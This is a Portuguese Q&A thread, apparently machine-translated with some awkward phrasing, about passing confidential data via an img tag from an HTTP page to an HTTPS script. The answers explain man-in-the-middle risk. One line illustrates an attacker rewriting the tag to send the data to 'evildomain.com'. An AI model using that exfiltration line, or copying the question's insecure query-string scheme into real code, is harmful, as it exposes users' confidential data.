desvio de http, https e ajax, talvez?
-
20-09-2019 - |
Pergunta
Eu tenho um script de servidor para o qual preciso passar dados do navegador sem recarregar a página (também conhecido como ajax).Os dados são confidenciais, portanto devem ser enviados via https.A página, entretanto, está na camada http.Devido à mesma restrição de domínio/protocolo, o navegador não permite isso.
Estou pensando em enganar um pouco o sistema criando tags de imagem dinamicamente e chamando o script usando a tag src como:
<img src="https://mydomain.com/mysecurescript/&data=to&pass=to&my=script" />
Gostaria de saber se isso realmente será criptografado corretamente.
Solução
O problema é que, se a página em si é apenas HTTP, você será suscetível a um homem no ataque intermediário. Um invasor pode simplesmente modificar o script na página enviada pelo HTTP para que ele use:
<img src="http://evildomain.com/evilproxyscript/&data=to&pass=to&my=script" />
O usuário não será o Wiser. Para contornar isso, você também precisa servir a página sobre HTTPs - que resolve ordenadamente seu outro problema ao mesmo tempo.
(Essa é exatamente a mesma razão pela qual os formulários de login devem estar nas páginas HTTPS, em vez de apenas a ação do formulário HTTPS).
Outras dicas
Sim e não.
A parte do endereço do servidor da URL obviamente não é criptografada, pois é usada para configurar a conexão.
Todo o resto é criptografado ao ser enviado via conexão HTTPS. Mas qualquer pessoa que visualize a fonte obviamente poderá ver os dados sendo publicados.
Também menciona que alguns navegadores não exibirão (ou avisarão o usuário antes de exibir) Páginas HTML (HTTP vs. HTTPS). Em alguns casos, isso pode não funcionar porque o usuário seleciona para bloqueá -lo.
Uma possível alternativa à técnica de imagem (cuja desvantagem, como mencionado por outros, é que o conteúdo em modo misto não é tratado bem por alguns navegadores) seria por SSL.
Qualquer um dos métodos resultará na ocorrência de criptografia e ambos ainda serão vulneráveis a ataques man in the middle.